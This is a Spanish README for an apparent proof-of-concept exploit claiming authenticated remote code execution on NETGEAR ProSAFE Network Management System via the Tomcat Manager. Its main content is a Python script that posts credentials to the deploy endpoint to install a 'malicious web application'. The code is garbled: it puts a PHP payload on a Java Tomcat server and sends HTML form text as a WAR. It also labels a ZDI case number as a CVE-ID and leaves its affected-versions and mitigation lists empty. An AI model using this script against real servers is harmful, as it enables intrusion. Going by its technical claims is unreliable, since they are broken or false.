
Script Python de prueba de concepto que demuestra ejecución remota de código autenticada en NETGEAR ProSAFE Network Management System a través de Apache Tomcat vulnerable mediante el despliegue de una aplicación web maliciosa.
Este repositorio contiene un script de Prueba de Concepto (PoC) que demuestra una vulnerabilidad de Ejecución Remota de Código (RCE) en NETGEAR ProSAFE Network Management System. La vulnerabilidad se debe al uso de una versión vulnerable de Apache Tomcat dentro del instalador del producto. Este problema permite a atacantes autenticados ejecutar código arbitrario en instalaciones afectadas.
CVE-ID: ZDI-CAN-22868
Resumen: NETGEAR ProSAFE Network Management System contiene una vulnerabilidad de ejecución remota de código debido al uso de una versión vulnerable de Apache Tomcat. Un atacante con autenticación puede explotar esta vulnerabilidad para ejecutar código arbitrario en el sistema afectado en el contexto de SYSTEM.
Versiones Afectadas:
Autenticación: Requerida
Esta PoC demuestra cómo un atacante puede explotar la vulnerabilidad para lograr ejecución remota de código. El fallo específico reside en el instalador del producto debido al uso de una versión desactualizada o vulnerable de Apache Tomcat.
El siguiente script ilustra cómo explotar esta vulnerabilidad RCE. Asegúrese de tener los permisos adecuados antes de ejecutar esta PoC.
Importante: Esta PoC es solo con fines educativos y no debe utilizarse para actividades no autorizadas o maliciosas.
import requests
# Configuration
target_url = "http://target-ip:port/manager/html" # Change this to the Tomcat Manager URL of the target
username = "admin" # Change to the valid username
password = "password" # Change to the valid password
# The payload to be executed on the remote server
payload = """
<?php
// Payload to execute arbitrary PHP code
system('whoami');
?>
"""
# Tomcat Manager URL path for deploying a new web application
deploy_url = f"{target_url}/deploy?path=/example&update=true"
# Headers for authentication
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
def exploit_rce(url, username, password, payload):
"""
Exploit the RCE vulnerability by deploying a malicious web application.
Args:
url (str): The Tomcat Manager URL.
username (str): The Tomcat Manager username.
password (str): The Tomcat Manager password.
payload (str): The malicious payload to be executed.
"""
try:
# Create a new web application with the malicious payload
response = requests.post(
url,
headers=headers,
data={
"path": "/example",
"war": f"<form method='post' enctype='multipart/form-data'><input type='file' name='file' value='{payload}'/></form>"
},
auth=(username, password)
)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.text)
if response.status_code == 200 and "Deployed application" in response.text:
print("[+] Successfully deployed the malicious web application.")
else:
print("[-] Failed to deploy the malicious web application.")
except requests.RequestException as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Exploiting RCE vulnerability at: {deploy_url}")
exploit_rce(deploy_url, username, password, payload)
target_url en la URL del Administrador de Tomcat del sistema objetivo, y actualice username y password con credenciales válidas.exploit_rce() envía una solicitud POST para desplegar la aplicación web maliciosa.Para mitigar esta vulnerabilidad, siga los siguientes pasos:
Siguiendo estos pasos, puede abordar la vulnerabilidad RCE en NETGEAR ProSAFE Network Management System y mejorar la seguridad general.
Este README.md proporciona una descripción detallada y el script de la PoC para la vulnerabilidad RCE, incluyendo instrucciones de configuración, consideraciones y consejos de mitigación.